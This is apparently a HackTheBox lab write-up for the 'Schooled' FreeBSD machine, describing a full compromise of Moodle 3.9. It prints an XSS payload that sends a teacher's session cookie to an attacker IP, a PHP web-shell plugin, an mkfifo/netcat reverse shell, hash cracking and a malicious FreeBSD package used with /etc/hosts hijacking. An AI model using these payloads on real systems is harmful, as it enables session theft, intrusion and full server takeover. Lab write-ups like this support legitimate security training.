HTB: Schooled Writeup
Schooled - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Schooled |
| OS | FreeBSD |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 03 Apr 2021 |
| IP Address | 10.129.96.53 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐☆☆☆
Summary
Schooled is a medium-difficulty FreeBSD machine that demonstrates a realistic attack chain against Moodle, an open-source learning management system. The box requires exploiting two CVEs affecting Moodle 3.9: an XSS vulnerability to steal a teacher’s session cookie, followed by a privilege escalation flaw allowing a teacher to become a manager and install a malicious plugin for RCE. Database credentials from Moodle’s configuration file lead to hash cracking and SSH access via password reuse. Finally, root is achieved by abusing sudo permissions on the FreeBSD pkg utility combined with write access to /etc/hosts, allowing installation of a malicious package from a controlled repository.
TL;DR: Student registration → XSS in MoodleNet profile (CVE-2020-25627) → teacher session hijacking → privilege escalation to manager (CVE-2020-14321) → malicious plugin RCE → database credentials → hash cracking → SSH as jamie → sudo pkg manipulation + /etc/hosts hijack → root
Reconnaissance
Port Scanning
# Quick port discoverynmap -p- --min-rate=1000 -T4 10.129.96.53
# Detailed service enumeration on discovered portsnmap -sC -sV -p22,80,33060 10.129.96.53Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH (FreeBSD)80/tcp open http Apache httpd (FreeBSD)33060/tcp open mysqlx?Three services are exposed: OpenSSH on port 22, Apache with PHP on port 80, and MySQL X Protocol on port 33060.
Service Enumeration
HTTP (Port 80)
Browsing to http://10.129.96.53 reveals the website for “Schooled Educational Institution”. The footer contains contact information revealing the domain schooled.htb:
# Add to hosts fileecho "10.129.96.53 schooled.htb" | sudo tee -a /etc/hostsThe homepage mentions a Moodle portal, suggesting the presence of a learning management system. Virtual host fuzzing reveals a subdomain:
# Subdomain enumerationwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -H "Host: FUZZ.schooled.htb" \ --hh 20750 \ http://10.129.96.53The subdomain moodle.schooled.htb is discovered:
# Add Moodle subdomainecho "10.129.96.53 moodle.schooled.htb" | sudo tee -a /etc/hostsNavigating to http://moodle.schooled.htb displays a Moodle login page. The version can be identified by checking /moodle/lib/upgrade.txt, which reveals Moodle 3.9.
Vulnerability Assessment
Research on Moodle 3.9 identifies two critical vulnerabilities:
- CVE-2020-25627: Stored XSS in the MoodleNet profile field, allowing session cookie theft
- CVE-2020-14321: Privilege escalation from teacher role to manager role, enabling malicious plugin installation
These vulnerabilities can be chained together to achieve remote code execution.
Initial Foothold
Account Registration and Confirmation Bypass
Moodle allows self-registration, but requires the email domain @student.schooled.htb. When registering, the confirmation mechanism embeds the activation link directly in the signup response:
# Register with burp proxy to capture response# The response contains: /login/confirm.php?data=SECRET/username
# Manual confirmation (example)curl "http://moodle.schooled.htb/moodle/login/confirm.php?data=<SECRET>/<USERNAME>"After confirmation, login is successful and course enrollment is available.
Self-Enrollment in Mathematics Course
The Mathematics course (course ID 5) allows self-enrollment without requiring an enrollment key. After enrolling, announcements from teacher Manuel Phillips are visible. One announcement titled “Reminder for joining students” states:
“This is a reminder to set your MoodleNet profile. I’ll be checking all profiles before the course starts.”
This provides a perfect vector for exploiting the XSS vulnerability.
Exploiting CVE-2020-25627: Stored XSS
The MoodleNet profile field in Moodle 3.9 is vulnerable to stored XSS. When a teacher views a student’s profile, the malicious JavaScript executes in the teacher’s context.
// Payload set in MoodleNet profile field (Edit profile page)<script>document.location="http://10.10.14.178:8000/?"+document.cookie</script>Start a listener to capture the stolen session cookie:
# Start HTTP listenernc -lnvp 8000After a few minutes, the teacher bot visits the profile and the XSS fires, sending the MoodleSession cookie to the attacker:
GET /?MoodleSession=<TEACHER_SESSION_COOKIE> HTTP/1.1Host: 10.10.14.178:8000Replace the student’s session cookie with the teacher’s cookie in the browser (using developer tools or a proxy). Refreshing the page results in access as Manuel Phillips (user ID 24), a teacher account.
Exploiting CVE-2020-14321: Teacher to Manager Privilege Escalation
CVE-2020-14321 is a privilege escalation vulnerability allowing a teacher to grant themselves manager privileges by manipulating the user enrollment process. A proof-of-concept exploit is available on GitHub (HoangKien1020’s PoC), but requires modification because its regex pattern \d only matches single-digit user IDs.
The Bug in the Original PoC:
The original PoC uses \d in regex substitution, which matches only one digit. Manuel Phillips has ID 24 (two digits), so the pattern fails to capture and replace correctly.
The Fix:
Change \d to \d+ to match one or more digits:
# Modified excerpt from patched PoC# Original: re.sub(r'userlist\[\d\]=\d+', f'userlist[0]={teacher_id}', data)# Fixed:data = re.sub(r'userlist\[\d+\]=\d+', f'userlist[0]={teacher_id}', data)Manual Exploitation Steps:
- Navigate to the Mathematics course participant list
- Click “Enrol users” and select a user with manager role (e.g., Lianne Carter)
- Intercept the enrollment POST request with Burp Suite
- Modify two parameters:
userlist: Change to the teacher’s ID (24)roletoassign: Change to 1 (Manager role)
POST /moodle/enrol/manual/ajax.php HTTP/1.1Host: moodle.schooled.htb
userlist=24&roletoassign=1&startdate=...After sending the modified request, Manuel Phillips is now enrolled as a Manager.
Escalating to Site Administrator Capabilities
As a manager, the next step is to:
- Enroll Lianne Carter (the actual manager) into the course
- Use “Log in as” functionality from her profile to impersonate her
- Access Site Administration panel
- Grant the Manager role permission to install plugins
Navigate to:
Site administration → Users → Define roles → Manager → EditIntercept the role update POST request and append the following payload to enable plugin installation permissions:
&moodle/site:config=1Send the modified request. The Site Administration panel now displays an “Install plugins” option.
Installing Malicious Plugin for RCE
Create a malicious Moodle plugin that executes arbitrary PHP code:
# Create plugin directory structuremkdir -p rce/lang/en/
# Create block_rce.php with RCE capabilitycat > rce/lang/en/block_rce.php << 'EOF'<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']);}?>EOF
# Create version.php (required by Moodle)cat > rce/version.php << 'EOF'<?phpdefined('MOODLE_INTERNAL') || die();$plugin->version = 2022041900;$plugin->component = 'block_rce';EOF
# Package as ZIPzip -r block_rce.zip rce/Upload block_rce.zip through Site Administration → Plugins → Install plugins. Despite validation warnings, select “Continue anyway”. The plugin installs successfully.
Achieving Remote Code Execution
The malicious plugin is now accessible at:
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=<COMMAND>Test command execution:
# Verify RCEcurl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id"# Output: uid=80(www) gid=80(www) groups=80(www)Establish a reverse shell:
# Start listenernc -lnvp 7777
# Reverse shell payload (URL-encoded)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.178 7777 >/tmp/f
# Send payloadcurl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.178%207777%20%3E%2Ftmp%2Ff"A shell is received as user www.
Lateral Movement to User jamie
Upgrade to a proper TTY:
# Spawn interactive shell (FreeBSD uses /usr/local/bin/python3)/usr/local/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'Enumerate the Moodle installation directory and locate the database configuration:
# Read Moodle database credentialscat /usr/local/www/apache24/data/moodle/config.phpCredentials found:
$CFG->dbuser = 'moodle';$CFG->dbpass = 'PlaybookMaster2020';Connect to the MySQL database:
# Access Moodle database/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 moodle
# List tablesshow tables;
# Examine user table structuredesc mdl_user;
# Extract usernames and password hashesselect username,password,email from mdl_user;Notable entry:
admin | $2y$10$<BCRYPT_HASH> | jamie@staff.schooled.htbThe admin user’s email address is jamie@staff.schooled.htb, and a user named jamie exists on the system (verified in /etc/passwd). This suggests password reuse.
Hash Cracking
Copy the bcrypt hash to the attack machine and crack it with John the Ripper:
# Save hash to fileecho '$2y$10$<BCRYPT_HASH>' > admin.hash
# Crack with rockyou wordlistjohn --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
# Result!QAZ2wsxThe password !QAZ2wsx is successfully cracked.
SSH Access as jamie
Test the credentials via SSH:
ssh jamie@10.129.96.53# Password: !QAZ2wsxLogin is successful. The user flag is located in /home/jamie/user.txt.
Privilege Escalation
Sudo Permissions Analysis
Check sudo privileges for user jamie:
sudo -lOutput:
User jamie may run the following commands on schooled: (ALL) NOPASSWD: /usr/sbin/pkg update (ALL) NOPASSWD: /usr/sbin/pkg install *Jamie can run pkg update and pkg install with any arguments as root without a password. The FreeBSD pkg utility manages binary packages and fetches them from configured repositories.
Identifying the Package Repository
Check the default repository configuration:
cat /etc/pkg/FreeBSD.confOutput:
FreeBSD: { url: "pkg+http://pkg.FreeBSD.org/${ABI}/quarterly", ...}However, the system may have custom repositories defined. Check for additional configuration:
# Check hosts file for repository domainscat /etc/hosts | grep -i pkgOutput:
192.168.1.14 devops.htbThe repository URL is http://devops.htb/packages. Importantly, jamie belongs to the wheel group:
id jamie# Output: uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)Check for files writable by the wheel group:
find / -group wheel -perm -020 -ls 2>/dev/nullKey finding:
/etc/hosts (writable by wheel group)Since jamie can write to /etc/hosts and has sudo access to pkg install, the attack vector is clear: modify /etc/hosts to point devops.htb to the attacker’s IP, then install a malicious package.
Creating a Malicious FreeBSD Package
On the target machine, create a package that grants sudo privileges:
# Create working directorymkdir -p /tmp/pkg && cd /tmp/pkg
# Create package build scriptcat > pkg.sh << 'EOF'#!/bin/shSTAGEDIR=/tmp/stagerm -rf ${STAGEDIR}mkdir -p ${STAGEDIR}
# Post-install script adds sudo entrycat >> ${STAGEDIR}/+POST_INSTALL <<INNER_EOFecho "jamie ALL=(ALL) NOPASSWD: /bin/csh" >> /usr/local/etc/sudoersINNER_EOF
# Package manifestcat >> ${STAGEDIR}/+MANIFEST <<INNER_EOFname: sudo_permsversion: "1.0"origin: sysutils/sudo_permscomment: "Add sudo entry"desc: "Add sudo entry"maintainer: maintainer@freebsd.htbwww: https://freebsd.htbprefix: /INNER_EOF
# Create empty plisttouch ${STAGEDIR}/plist
# Build packagepkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .EOF
# Execute build scriptchmod +x pkg.sh./pkg.shA package file sudo_perms-1.0.txz is created.
Creating a Package Repository
FreeBSD requires a repository metadata file:
# Generate repository metadatapkg repo .This creates packagesite.txz and meta.txz in the current directory.
Hosting the Malicious Repository
On the attack machine:
# Create directory for repositorymkdir packages
# Copy package files from targetscp jamie@10.129.96.53:/tmp/pkg/*.txz packages/scp jamie@10.129.96.53:/tmp/pkg/packagesite.txz packages/scp jamie@10.129.96.53:/tmp/pkg/meta.txz packages/
# Serve on port 80cd packages/sudo python3 -m http.server 80Hijacking the Repository
Back on the target machine, modify /etc/hosts to redirect devops.htb:
# Edit hosts file (jamie has write permission via wheel group)sed -i '' 's/192.168.1.14/10.10.14.178/' /etc/hosts
# Verifycat /etc/hosts | grep devops# Output: 10.10.14.178 devops.htbInstalling the Malicious Package
Update the package repository cache and install the malicious package:
# Update repository metadata (fetches from attacker's server)sudo pkg update
# Install malicious packagesudo pkg install -y sudo_permsThe post-install script executes as root, adding a sudo entry for jamie.
Obtaining Root Shell
# Execute csh as rootsudo /bin/cshA root shell is obtained. The root flag is located in /root/root.txt.
Attack Chain Summary
Port scan (22,80,33060) → vhost enumeration (moodle.schooled.htb) →Student registration + confirmation bypass → Self-enroll in Mathematics →XSS in MoodleNet profile (CVE-2020-25627) → Steal teacher session →Teacher privilege escalation to Manager (CVE-2020-14321) →Install malicious Moodle plugin → RCE as www →Extract DB credentials from config.php → Dump mdl_user table →Crack admin bcrypt hash (jamie:!QAZ2wsx) → SSH as jamie →sudo pkg + /etc/hosts hijack → Install malicious FreeBSD package →RootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
wfuzz | Virtual host fuzzing |
Burp Suite | HTTP request interception and modification |
curl | HTTP requests and RCE exploitation |
netcat | Reverse shell listener |
John the Ripper | Bcrypt hash cracking |
mysql | Database enumeration |
pkg | FreeBSD package manipulation |
python3 http.server | Malicious repository hosting |
Key Learnings
Techniques Practiced
- Virtual host enumeration on web applications
- Exploiting stored XSS for session hijacking
- Chaining multiple CVEs for privilege escalation
- Moodle plugin development and installation
- FreeBSD package creation and repository manipulation
- Password reuse identification through database enumeration
- Abusing sudo permissions combined with file write access
Lessons Learned
-
Always enumerate subdomains and virtual hosts — critical functionality (the Moodle instance) was only accessible via
moodle.schooled.htb. -
Patch public exploits carefully — the original CVE-2020-14321 PoC had a regex bug (
\dvs\d+) that broke on multi-digit user IDs. Always review and test exploit code. -
Session hijacking via XSS requires victim interaction — understanding application behavior (the teacher’s profile-checking routine) was essential to the attack.
-
Database credentials often lead to lateral movement — Moodle’s
config.phpcontained credentials that, when combined with hash cracking and password reuse, provided SSH access. -
FreeBSD privilege escalation differs from Linux — the combination of
sudo pkg install, writable/etc/hosts, and custom repository hijacking is a unique FreeBSD attack vector. -
Group permissions matter — membership in the
wheelgroup granted write access to/etc/hosts, which was the key to the privilege escalation path. -
Real-world CVE chains are powerful — this box demonstrated how two recently disclosed vulnerabilities (CVE-2020-25627 and CVE-2020-14321) combine to fully compromise a Moodle installation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: Schooled (Document No D21.100.130) by polarbearer
- CVE-2020-25627: Moodle Stored XSS via MoodleNet Profile Field
- CVE-2020-14321: Moodle Privilege Escalation (Teacher to Manager)
- HoangKien1020’s Moodle PoC: https://github.com/HoangKien1020/CVE-2020-14321